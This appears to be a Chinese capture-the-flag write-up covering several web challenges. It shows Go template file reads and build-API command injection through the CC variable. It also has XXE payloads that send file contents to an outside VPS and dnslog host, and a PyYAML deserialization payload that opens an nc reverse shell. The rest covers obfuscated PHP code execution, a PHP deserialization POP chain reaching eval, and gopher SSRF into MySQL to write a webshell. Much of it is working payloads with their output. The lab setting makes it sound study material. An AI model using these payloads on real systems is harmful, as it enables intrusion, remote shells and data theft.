{{.Utils.GetReader "/proc/self/environ" | .Utils.ReadAll}}输出结果: HOME=/appGOCACHE=/tmp/go-buildGOPATH=/tmp/gopathSECRET_KEY_PATH=/app/secret_key.txtPATH=/usr/local/go/bin:/usr/bin:/bin发现SECRET_KEY_PATH=/app/secret_key.txt
{{.Utils.GetReader "/app/secret_key.txt" | .Utils.ReadAll}}输出结果: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMrruntime: /usr/local/go/pkg/tool/linux_amd64/compile: signal: killed???OOM了,联系学长调大内存,继续。
尝试embed,但无法跨越目录,卒。
package main
import ( _ "embed" // 如果只使用 //go:embed,导入包时可以加下划线避免未使用报错 "fmt")
//go:embed "main.go"var embedFile string
func main() { fmt.Println("flag:", embedFile)}尝试内嵌C,permission denied,卒
curl -X POST \ 'http://challenge.ilovectf.cn:30224/vip/build' \ -H 'Content-Type: application/json' \ -H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \ -d '{ "env": { "CGO_ENABLED": "1", "CGO_CFLAGS": "-include /flag.txt" }, "code": "package main\n\n/*\n#include <stdio.h>\n*/\nimport \"C\"\n\nfunc main() {\n\t\n}" }'{"details":"# runtime/cgo\n\u003ccommand-line\u003e: fatal error: /flag.txt: Permission denied\ncompilation terminated.\n","error":"编译失败","reason":"exit status 1"}尝试GOFLAGS,哦吼!有戏?
{ "code": "package main\n\nfunc main() {}", "env": { "GOFLAGS": "-toolexec=\"cat\"" }}
curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \-H 'Content-Type: application/json' \--data @payload.json{"details":"cat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\n","error":"编译失败","reason":"exit status 1"}%不能有空格,卒。
尝试CGO,Gooooood
{ "code": "package main\n\nimport \"C\"\n\nfunc main() {}", "env": { "CC": "sh -c 'uname -a; exit 0'" }}可以可以,正常执行了,但/flag.txt还是没权限,考虑SUID提权(其实早该想到了)
{ "code": "package main\n\nimport \"C\"\n\nfunc main() {}", "env": { "CC": "sh -c 'find / -perm -u=s -type f 2>/dev/null; exit 0'" }}curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \-H 'Content-Type: application/json' \--data @payload.json{"details":"# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\ncgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n","error":"编译失败","reason":"exit status 1"}%哦吼?/usr/local/bin/flagread
{ "code": "package main\n\nimport \"C\"\n\nfunc main() {}", "env": { "CC": "sh -c '/usr/local/bin/flagread; exit 0'" }}(base) ➜ [Week3] VIP curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \-H 'Content-Type: application/json' \--data @payload.json{"details":"# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\ncgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n","error":"编译失败","reason":"exit status 1"}%GOoooooooD,一血!
[Week3] 查查忆
查一查关于XML的回忆
ENTITY被过滤
<!ENTITY % file_content SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g"><!ENTITY % exfil "<!ENTITY send SYSTEM 'http://vps的ip地址/probe-hit?flag=%file_content;'>">%exfil;<?xml version="1.0"?><!DOCTYPE root SYSTEM "http://vps的ip地址/test3.dtd"><xxx>&send;</xxx>vps上起一个python -m http.server 80 (用80是因为懒得去后台放行端口💦)

ZmxhZ3tjNDc1YWU3ZC1hNGNhLTQyZmUtYWIxNC1lMzFkMTllMTQxMzl9
flag{c475ae7d-a4ca-42fe-ab14-e31d19e14139}艰难探索:
<?xml version="1.0" ?><!DOCTYPE memory SYSTEM "https://week3.free.beeceptor.com/evil.dtd"><memory>&xxe;</memory>
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///f1111llllaa44g" parse="text"/></root>
<!DOCTYPE root SYSTEM "file:///f1111llllaa44g"><root/>提示failed!,如果把路径改为一个不存在的,反而变成success了。base64编码的payload,<!DOCTYPE root SYSTEM "data:text/plain;base64,PCFFTlRJVFklICUgZmlsZSBTWVNURU0gImZpbGU6Ly8vZjExMTFsbGxsbGFhNDRnIj48IUVOVElUWSAlIGV2YWwgIjwhRU5USVRZICYjeDI1OyBlcnJvciBTWVNURU0gJ2ZpbGU6Ly8vbm9uZXhpc3RlbnQvJWZpbGU7Jz4iPiVldmFsOyVlcnJvcjs="><root/>提示failed,但改成<!DOCTYPE root SYSTEM "data:text/plain;base64,=="><root/>又提示success
<?xml version="1.0"?><!DOCTYPE root SYSTEM "http://vps/evil.dtd"><root>&send;</root>
<!-- probe_evil.dtd --><!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1">
<!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1"><!ENTITY % file SYSTEM "file:///f1111llllaa44g"><!ENTITY all "<!ENTITY exfil SYSTEM 'http://vps/exp?data=%file;'>">
<!-- dns.dtd --><!ENTITY % test SYSTEM "http://test.3akofe.dnslog.cn/"><!ENTITY % file SYSTEM "file:///f1111llllaa44g"><!ENTITY % e SYSTEM "http://%file;.3akofe.dnslog.cn/">%%e;
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % all "<!ENTITY xxe SYSTEM 'http://vps/?%file;'>">%all;
<?xml version="1.0"?><!DOCTYPE root SYSTEM "http://vps/dns.dtd"><root/>[Week3] mysql管理工具
先写正确思路:
观察登陆也网页html注释,发现低权限账号user/pass,登陆后拿到JWT,使用jwtcrack爆破。在macOS上编译jwtcrack有点费劲,不要用make,直接用gcc指定ssl位置。
gcc -o jwtcrack main.o base64.o \ -L/opt/homebrew/opt/openssl@3/lib -lssl -lcrypto \ -L/opt/homebrew/opt/ruby/lib -lpthread./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3NjA0NTQ4MDl9.kJvYL0phbK4dNL7PkEpiT7VmAvGQ7mZm18gXfW-7hnESecret is "Suam"拿这个去https://www.bejson.com/jwt/#google_vignette把username改成admin,吧exp改长一点,Secret每个容器都是随机生成的。
拿新生成的JWT替换掉user权限的,进入sql测试页面。使用这个https://github.com/rmb122/rogue_mysql_server项目开启一个Rogue Mysql Server,file_list依次尝试
/etc/passwd 验证是否成功/proc/self/environ 检查环境变量(本题没有收获)/proc/self/cmdline 容器会写init指令/home/ctf/app.py 呜呜呜呜
root@iZbp1d5rltw6uhsn58zuoaZ:~/rogue_mysql_server-v1.0.1-linux-amd64# cat loot/43.248.77.227/176045*root:x:0:0:root:/root:/bin/shbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinctf:x:1000:1000::/home/ctf:/bin/sh
SHLVL=1HOME=/home/ctfPATH=/usr/local/bin:/usr/bin:/binPWD=/home/ctfpython-u/home/ctf/app.py
from flask import Flask, request, jsonify, render_template_stringimport MySQLdbimport jwtimport randomimport stringfrom functools import wrapsfrom datetime import datetime, timedeltaimport yaml # pyyaml==5.1
app = Flask(__name__)app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
JWT_SECRET = ''.join(random.choices(string.ascii_letters + string.digits, k=4))admin_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=10))JWT_ALGORITHM = 'HS256'
USERS = {'admin': admin_pass,'user':'pass'}
def generate_token(username): payload = {'username': username, 'exp': datetime.utcnow() + timedelta(hours=24)} return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
def verify_token(token): try: payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) return payload['username'] except Exception: return None
def login_required(f): @wraps(f) def wrapper(*args, **kwargs): token = request.headers.get('Authorization') if not token or not token.startswith('Bearer '): return jsonify({'error': 'Token missing'}), 401 username = verify_token(token[7:]) if not username: return jsonify({'error': 'Invalid token'}), 401 request.current_user = username return f(*args, **kwargs) return wrapper
@app.route('/')def index(): return render_template_string('''<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><title>MySQL 登录</title><style>body {font-family:sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}.login-container {background:white;padding:40px;border-radius:12px;box-shadow:0 10px 25px rgba(0,0,0,.1);width:360px;text-align:center;}input{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;}button{width:100%;padding:10px;background:#667eea;color:white;border:none;border-radius:6px;cursor:pointer;}.error{color:#e74c3c;font-size:14px;}.success{color:#27ae60;font-size:14px;}</style></head><body><div class="login-container"> <h2>🔐 MySQL 管理登录</h2> <form id="f"> <input id="username" placeholder="用户名" required> <input id="password" type="password" placeholder="密码" required> <button type="submit">登录</button> <div id="msg"></div> </form></div><script>document.getElementById('f').addEventListener('submit', async e=>{ e.preventDefault(); const res = await fetch('/login',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({ username:username.value,password:password.value })}); const data = await res.json(); const msg=document.getElementById('msg'); if(data.success){ localStorage.setItem('token',data.token); msg.innerHTML='<div class="success">登录成功!</div>'; setTimeout(()=>location.href='/test',1000); }else{ msg.innerHTML='<div class="error">'+data.error+'</div>'; }});</script></body><!-- user/pass --></html>''')
@app.route('/login', methods=['POST'])def login(): data = request.get_json() username, password = data.get('username'), data.get('password') if username in USERS and USERS[username] == password: token = generate_token(username) return jsonify({'success': True, 'token': token}) return jsonify({'success': False, 'error': '用户名或密码错误'})
@app.route('/test')def mysql_test_page(): return render_template_string('''<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><title>MySQL 连接测试</title><style>body{font-family:sans-serif;background:#f5f7fa;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}.container{background:white;padding:30px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,.1);width:360px;}input{width:100%;padding:8px;margin-top:5px;border:1px solid #ccc;border-radius:5px;}button{width:100%;padding:10px;margin-top:15px;background:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;}#out{margin-top:15px;font-family:monospace;white-space:pre-line;}</style></head><body><div class="container"><h3>🧩 测试 MySQL 连接</h3><form id="f"> <input name="host" placeholder="Host" value="127.0.0.1"> <input name="port" placeholder="Port" value="3306"> <input name="user" placeholder="User" value="root"> <input name="password" placeholder="Password" type="password"> <input name="db" placeholder="Database" value="mysql"> <button type="button" onclick="test()">测试连接</button></form><pre id="out"></pre></div><script>const token = localStorage.getItem('token');if(!token) location.href='/';async function test(){ const out=document.getElementById('out'); out.textContent='正在测试...'; let data=Object.fromEntries(new FormData(f).entries()); try{ let res=await fetch('/test_mysql',{method:'POST',headers:{ 'Content-Type':'application/json','Authorization':'Bearer '+token },body:JSON.stringify(data)}); let j=await res.json(); out.style.color=j.success?'green':'red'; out.textContent=j.success?'连接成功!':'连接失败\\n'+(j.error||''); }catch(e){out.textContent='请求出错:'+e;}}</script></body></html>''')
@app.route('/test_mysql', methods=['POST'])@login_requireddef test_mysql(): if request.current_user != 'admin': return jsonify({"success": False, "error": "权限不足,只有 admin 可以测试 MySQL 连接"}), 403 data = request.get_json() or {} for k in ("host", "port", "user", "password", "db"): if k not in data: return jsonify({"success": False, "error": f"缺少字段: {k}"}) try: conn = MySQLdb.connect( host=data["host"], port=int(data["port"]), user=data["user"], passwd=data["password"], db=data["db"], connect_timeout=5, charset='utf8mb4', local_infile=1, ssl=None ) cur = conn.cursor() cur.execute("SELECT 1") cur.close() conn.close()
return jsonify({"success": True}) except MySQLdb.Error as e: return jsonify({"success": False, "error": str(e)}) except Exception as e: return jsonify({"success": False, "error": f"其他错误: {e}"})
@app.route('/uneed1t', methods=['GET'])def uneed1t(): data = request.args.get('data', '') if data == '': return jsonify({"result": "null"}) try:
black_list = [ "system", "popen", "run", "os" ]
for forb in black_list: if forb in data: return jsonify({"result":"error"})
yaml.load(data, Loader=yaml.Loader)
return jsonify({"result": "ok"}) except Exception as e: return jsonify({"result":"error"})
if __name__ == "__main__": app.run(host="0.0.0.0", port=8000)观察/uneed1t路由,存在yaml.Loader任意命令执行,有黑名单,使用subprocess.call。
!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地址','nc监听端口','-e','/bin/sh']]在vps上开个端口监听,准备接收反弹的shell
sudo nc -lvnp 80 # 懒的去vps服务商后台放行端口ls /cat fl1lag.txtGooooD,二血。
弯路明天(今天)再写,他喵的,搞了三天。
弯路探索:
一开始有两种思路,sql inject、jwt,要搞到admin,然后后面是个命令拼接,“;”应该可以rce
尝试JWT改头HS256->None,改body,删签名,但invalid token,不会要hashmap吧?(这里就该尝试jwtcrack了,硬生生搞了一天半)
登陆进去后,以为是mysql-connector-java,尝试jdbc,屁用没有(报错信息一眼python。。。)
想覆盖socket,host置空,然后socket去读取flag
看学长blog发现pickle反序列化
上一天课了[表情]又试了ssti[表情]还试了mysql.connector的其他参数注入[表情]下一步可能尝试cookie投毒[表情]Rogue server应该还用不上吧[表情] (事实上rogue server是对的)
好的那就这样了。
[Week3] ezphp
(未解出)
https://www.freebuf.com/articles/web/321769.html
PHP变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。
有一种特殊情况,GET或POST方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就再进行替换了如 CTF[SHOW.COM => CTF_SHOW.COM
c1n[y0.u g3t+fl&g?=ahttp://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=a
http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%93^%FF%8C^%FF%20%2F%3E%87^%FF
ls />abc
curl
%81^%FF=>~ %82^%FF=>} %83^%FF=>|%84^%FF=>{ %85^%FF=>z %86^%FF=>y%87^%FF=>x %88^%FF=>w %89^%FF=>v%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p%90^%FF=>o %91^%FF=>n %92^%FF=>m%93^%FF=>l %94^%FF=>k %95^%FF=>j%96^%FF=>i %97^%FF=>h %98^%FF=>g%99^%FF=>f %9A^%FF=>e %9B^%FF=>d%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@%C0^%FF=>?
http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)();
http://challenge.ilovectf.cn:30655/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90
http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%93%8C%DF%D0%C1%DF%92%92)
system
exec(~%9A%87%9A%9C)(~%93%8C);
exec >a(~%9A%87%9A%9C)(~%C1%9E);
echo(~%9A%9C%97%90)(~%C1%9E);
`$_GET[c]`%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F
`$_GET[c]`;~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F%C4
(~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F);
(~%DB%A0%B8%BA%AB%A4%9C%A2);
exec($_GET[c])%9A%87%9A%9C%D7%DB%A0%B8%BA%AB%A4%9C%A2%D6
>a(~%C1%9E)
echo%9A%9C%97%90
%C2%93%C2%8C%C3%9F%C3%92%C2%93%C2%9E
https://cloud.tencent.com/developer/article/2288274
curl -X POST "http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%DB%A0%AF%B0%AC%AB%A4%A0%A2" -d "_=readfile('flag.php');"
%DB%A0%B8%BA%AB%A4%A0%A2
?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8C%86%8C%8B%9A%92)(~%93%8C);system ls
http://challenge.ilovectf.cn:30655/?0='phpinfo();'&c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%DB%A0%B8%BA%AB%A4%CF%A2)();
http://challenge.ilovectf.cn:30750/?c1n%5By0.u%20g3t%2Bfl%26g%3F=$_=~%8f%97%8c%8c%9a%92;$_();
eval($_GET['_'])
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
${(~%A0%B8%BA%AB)}[%21]();&%21=phpinfo
${~%A0%B8%BA%AB}{_}();&_=phpinfo
${~%A0%B8%BA%AB}{_};&_=phpinfo();
${~%A0%B8%BA%AB}{_};&_=phpinfo();
${~%A0%B8%BA%AB}{_}(${~%A0%B8%BA%AB}{__});&_=system&__=ls
?_[0]=system&_[1]=ls%20-la
${~%A0%B8%BA%AB};&_[0]=system&_[1]=>a
`{${~%A0%B8%BA%AB}[_]}`;&_=>a
`${~%A0%B8%BA%AB}[_]`;&_=>a
`{${~%A0%B8%BA%AB}[_]}`;&_=>a 16字符
_GET[_]%A0%B8%BA%AB%A4%A0%A2`${~%A0%B8%BA%AB%A4%A0%A2}`;&_=>a
$_GET[_]%DB%A0%B8%BA%AB%A4%A0%A2`{~%DB%A0%B8%BA%AB%A4%A0%A2}`;&_=>a
a=`${~%A0%B8%BA%AB[_]}`;&_=>a 16字符
`{$_GET[_]}`;
${~%A0%B8%BA%AB}[_];&_=>a
${${~%A0%B8%BA%AB}[_]};&_=>a
`(~%C1%9E)`
`~%9C%86`;
`${_}`;&_=>a
$_=`${_}`;&_=>a
`$_GET[_]`&_=ls[Week4] Path to Hero
PHP反序列化POP链,最终需要利用Treasure 类里的 eval() 函数
unserialize() → Start::__wakeup() → Sword::__get() → Mon3tr::__toString() → Treasure::__call() → eval()
看不懂思密达,交给ai分析一下:
原理与绕过
入口: 反序列化一个Start对象触发__wakeup。设置$ishero为包含"hero"但不等于"hero"的字符串即可进入利用链。
跳转到Sword: 在Start对象中,将$adventure属性设置为一个Sword对象。访问其不存在的sword属性,自动触发Sword的__get方法。
MD5绕过: 在Sword对象中,为满足md5($a) == md5($b)的弱类型比较,给$test1和$test2赋两个MD5哈希值以"0e"开头的不同字符串。
跳转到Mon3tr: 在Sword对象中,将$go属性设置为一个Mon3tr对象。echo该对象时,自动触发Mon3tr的__toString方法。
黑名单绕过与RCE: 在Mon3tr对象中,$end属性即为最终要执行的代码。为绕过preg_match对"flag"等关键字的检测,不能直接写readfile('/flag')。
Payload: 使用 readfile(glob("/*")[0]); 或 readfile(base64_decode('L2ZsYWc=')); 这样的方式构造命令,即可在不出现关键字的情况下读取/flag文件。
最终,将构造好的Start对象序列化后提交,即可触发整条链,成功执行代码。<?php
class Start { public $ishero; public $adventure;}
class Sword { public $test1; public $test2; public $go;}
class Mon3tr { // private $result; // 在构造 payload 时不需要关心私有属性 public $end;}
class Treasure { // 无需实例化,在链中自动创建}
// 1. 创建最终执行命令的 Mon3tr 对象$monster = new Mon3tr();// Payload: 先用 scandir 看一下当前目录有什么文件//$monster->end = "print_r(scandir('/'));";// 尝试读取 flag:$monster->end = "readfile(base64_decode('L2ZsYWc='));";
// 2. 创建 Sword 对象$sword = new Sword();$sword->test1 = "s878926199a";$sword->test2 = "s155964671a";$sword->go = $monster; // 链接到 Mon3tr 对象
// 3. 创建入口 Start 对象$start = new Start();$start->ishero = "superhero"; // 绕过 hero 检查$start->adventure = $sword; // 链接到 Sword 对象
// 4. 序列化并输出 payload$payload = serialize($start);echo urlencode($payload);
?>使用$monster->end = "print_r(scandir('/'));"; 可以列出/下的目录
</code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>Array( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag [7] => home [8] => init.sh [9] => lib [10] => media [11] => mnt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var)<br>(base) ➜ php gen_payload.phpO%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D%(base) ➜ curl -X POST -d "HERO=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D" http://challenge.ilovectf.cn:30147/index.php
(省略html...)</code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>flag{da7e7519-a83f-4e8a-86bc-751e44439d35}<br>%[Week4] android or apple
施工区域⚠️
curl http://challenge.ilovectf.cn:30345/verify.php -H "X-VERIFY-CODE-URL: http://120.26.146.96"
(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: dict://120.26.146.96:80/helo:dict"<p>本次登录的验证码为:</p><img src="./images/2163fd445aa83a43ef4dc9b40097725a.bin" alt="Verification Code"/>%(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: gopher://120.26.146.96:80/helo:gopher"
<?php @eval($_GET['a']) ?>
http://challenge.ilovectf.cn:30489/composer.jsonhttp://challenge.ilovectf.cn:30489/composer.lock
[14:30:35] 200 - 8KB - /www.zip他喵的这才是真的src
http://challenge.ilovectf.cn:30489/images/a16928e3e14ede05b2eab5b54e67fb2f.bin
(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php \ -H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306"(base) ➜ ~ curl "http://challenge.ilovectf.cn:30489/images/181dd1f033da1992bfe13f1ba8f94510.bin"
[���5.7.42-0ubuntu0.18.04.1����?c=@Ba�ÿÿ�ÿÁ����������,XUi}1z;/5�mysql_native_password�
curl challenge.ilovectf.cn:30489/verify.php \ -H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01"
